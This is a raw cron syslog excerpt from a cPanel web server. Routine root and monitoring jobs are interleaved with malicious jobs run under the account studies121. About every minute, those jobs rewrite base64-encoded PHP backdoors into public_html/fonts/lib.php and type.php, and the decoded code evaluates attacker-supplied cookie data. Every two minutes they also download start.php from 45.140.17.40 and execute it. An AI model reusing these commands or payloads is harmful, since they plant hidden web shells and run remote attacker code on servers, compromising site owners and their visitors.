Feb 23 00:47:01 ip-184-168-122-23 CROND[6538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:47:01 ip-184-168-122-23 CROND[6539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:47:01 ip-184-168-122-23 CROND[6540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:48:01 ip-184-168-122-23 CROND[6760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:48:01 ip-184-168-122-23 CROND[6762]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:48:01 ip-184-168-122-23 CROND[6767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:48:01 ip-184-168-122-23 CROND[6765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:48:01 ip-184-168-122-23 CROND[6766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:49:01 ip-184-168-122-23 CROND[7013]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:49:01 ip-184-168-122-23 CROND[7015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:49:01 ip-184-168-122-23 CROND[7014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:49:01 ip-184-168-122-23 CROND[7016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:50:01 ip-184-168-122-23 CROND[7398]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:50:02 ip-184-168-122-23 CROND[7402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:50:02 ip-184-168-122-23 CROND[7405]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 00:50:02 ip-184-168-122-23 CROND[7404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:50:02 ip-184-168-122-23 CROND[7401]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 23 00:50:02 ip-184-168-122-23 CROND[7406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:50:02 ip-184-168-122-23 CROND[7403]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 23 00:50:02 ip-184-168-122-23 CROND[7407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:50:02 ip-184-168-122-23 CROND[7408]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 00:51:01 ip-184-168-122-23 CROND[7738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:51:01 ip-184-168-122-23 CROND[7737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:51:01 ip-184-168-122-23 CROND[7740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:51:01 ip-184-168-122-23 CROND[7739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:52:01 ip-184-168-122-23 CROND[8051]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:52:01 ip-184-168-122-23 CROND[8053]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:52:01 ip-184-168-122-23 CROND[8056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:52:01 ip-184-168-122-23 CROND[8055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:52:01 ip-184-168-122-23 CROND[8054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:53:01 ip-184-168-122-23 CROND[8383]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:53:01 ip-184-168-122-23 CROND[8385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:53:01 ip-184-168-122-23 CROND[8384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:53:01 ip-184-168-122-23 CROND[8386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:54:01 ip-184-168-122-23 CROND[8698]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:54:01 ip-184-168-122-23 CROND[8699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:54:01 ip-184-168-122-23 CROND[8701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:54:01 ip-184-168-122-23 CROND[8700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:54:01 ip-184-168-122-23 CROND[8707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:55:01 ip-184-168-122-23 CROND[9118]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 00:55:01 ip-184-168-122-23 CROND[9120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:55:02 ip-184-168-122-23 CROND[9122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:55:02 ip-184-168-122-23 CROND[9121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:55:02 ip-184-168-122-23 CROND[9124]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 00:55:02 ip-184-168-122-23 CROND[9125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:56:01 ip-184-168-122-23 CROND[9461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:56:01 ip-184-168-122-23 CROND[9466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:56:01 ip-184-168-122-23 CROND[9463]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:56:01 ip-184-168-122-23 CROND[9464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:56:01 ip-184-168-122-23 CROND[9465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:57:01 ip-184-168-122-23 CROND[9779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:57:01 ip-184-168-122-23 CROND[9781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:57:01 ip-184-168-122-23 CROND[9782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:57:02 ip-184-168-122-23 CROND[9785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:58:01 ip-184-168-122-23 CROND[10115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:58:01 ip-184-168-122-23 CROND[10117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:58:01 ip-184-168-122-23 CROND[10118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:58:01 ip-184-168-122-23 CROND[10116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:58:01 ip-184-168-122-23 CROND[10121]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:59:01 ip-184-168-122-23 CROND[10435]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:59:01 ip-184-168-122-23 CROND[10436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:59:01 ip-184-168-122-23 CROND[10438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
